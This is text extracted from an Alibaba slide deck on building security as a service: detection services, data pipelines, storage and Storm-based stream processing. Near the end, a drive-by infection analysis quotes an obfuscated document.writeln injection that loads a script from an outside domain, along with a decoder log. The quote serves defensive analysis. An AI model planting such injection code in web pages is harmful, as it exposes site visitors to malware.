安全即服务v0.2(阿里巴巴-李剑彪).ppt

安全服务需求 安全服务内容 安全服务平台 安全服务协作 阿里安全服务 交流内容 安全的堡垒圈 介绍-云盾安全调查表: 介绍-安全服务效果 安全服务 规模 效果 DDoS 检测比较大规模的DDoS攻击 比较可靠，大部分DDoS攻击化解 挂马检测 亿级/天 无界面的浏览器检测方式，效果很好 漏洞扫描 亿级/天 覆盖阿里 巴巴，漏报，误报极低 钓鱼检测 亿级/天 很多第三方合作 人机识别，验证码 。。。。。。 还有很多 介绍-Anti-DDos服务效果 QA 谢谢大家! Security as a service Author:JianBiao.Li SecurityTeam Design 安全服务需求 安全服务内容 安全服务平台 安全服务协作 阿里安全服务 交流内容 需求-安全服务层次图 存储问题， ?阿里云一个小系统的数据统计：平均每天分析220亿PV，产生62亿URL，需要2.2T磁盘空间。 安全工具和安全服务不在一个量级，大量需要处理分析数据带来了挑战 集中控制问题，Qps, ConcurrentConnects, Dns解析，Cookie共享，配置分发等问题 主动检测流程的公用问题，HtttpRequest-HttpResponse-Match 调度问题，负载均衡，错误恢复，状态监控等等 报表 安全服务协作 需求-安全服务问题 需求-安全服务需要航母 安全服务需求 安全服务内容 安全服务平台 安全服务协作 阿里安全服务 交流内容 内容-构建安全服务 统一安全主动检测运行平台 统一安全大数据存储 统一安全监控服务 统一安全服务接口 安全数据离线分析 安全服务子系统间协作 主动检测和在线防御 监控服务和在线防御 数据分析和在线防御 数据分析和主动检测 安全服务需求 安全服务内容 安全服务平台 安全服务协作 阿里安全服务 交流内容 平台-安全服务运行平台 平台-安全数据流图 平台-数据来源 途径 优势 劣势 流量镜像 覆盖广，低侵入性 性能问题，包分片 Web日志 应用方真实数据 收集困难，遗漏关键信息 爬虫 主动爬取 高侵入性，爬取限制 WAF http 请求完整，可以抓超长url 串联系统，抓包影响正常业务 平台-数据存储 数据类型 容量 存储位置 Url 条数为亿级 大小为T级 Hive , Hbase Domain 条数百万级 Hbase Statisfical/Distribution 条数千万级 Hive, Hbase Result 条数百万级 DBMS Cache 大小为G级 Memcached 平台-数据批处理平台: 平台-批数据处理 Job类型 作业内容 依赖关系 基础类 Url去重，过滤，链接反转，页面解析, Url安全PageRank计算 无 统计分布类 PV/UV的计算,某个目的主机的Qps计算, User-Agent的分布统计 BaseJob 安全分析类 Webshell,挂马链接回溯，漏洞分析，规则训练，页面语意分析 BaseJob 平台-流数据处理平台 流数据处理平台 特点 定制平台 灵活控制 storm 需要规划好任务执行的Topology Yahoo s4! Actor模式，对等任务执行引擎 横向扩展 负载均衡 错误恢复 任务迁移 集中控制 引擎异构 平台-流数据处理平台Storm调度 基于url粒度来检测，不是以任务为粒度来检测 检测过程是无状态的，上下文就是当前url及相关资源 需要依据Url的安全等级，做优先级调度队列 检测过程尽量共享，减少对目标的侵入，减少 我们自身的资源损耗 平台-流数据处理 平台-流检测的集中控制 平台-流检测的模型 特征匹配 分布统计, 应用于防cc攻击等 行为分析，需要建立正常行为白名单或者异常行为黑名单， 平台-流检测的手段 平台-数据批处理与流处理协同(挂马回溯） 挂马细节内容举例： MalUrl:/js/duanxin.js 网页被嵌入恶意链接代码：document.writeln(”script language=javascript src=http:\/\/hb%71.x%6Frg.%70l\/c.js?google_ad=11×227_ad\/script”); 挂马分析：Log generated by issmall use mdecoder 0.31[root]/??? [script]/js/duanxin.js??????? [script]http://hbq.xorg.pl/c.js?google_ad=11×227_ad??????????? [iframe]/66/160sd.htm?????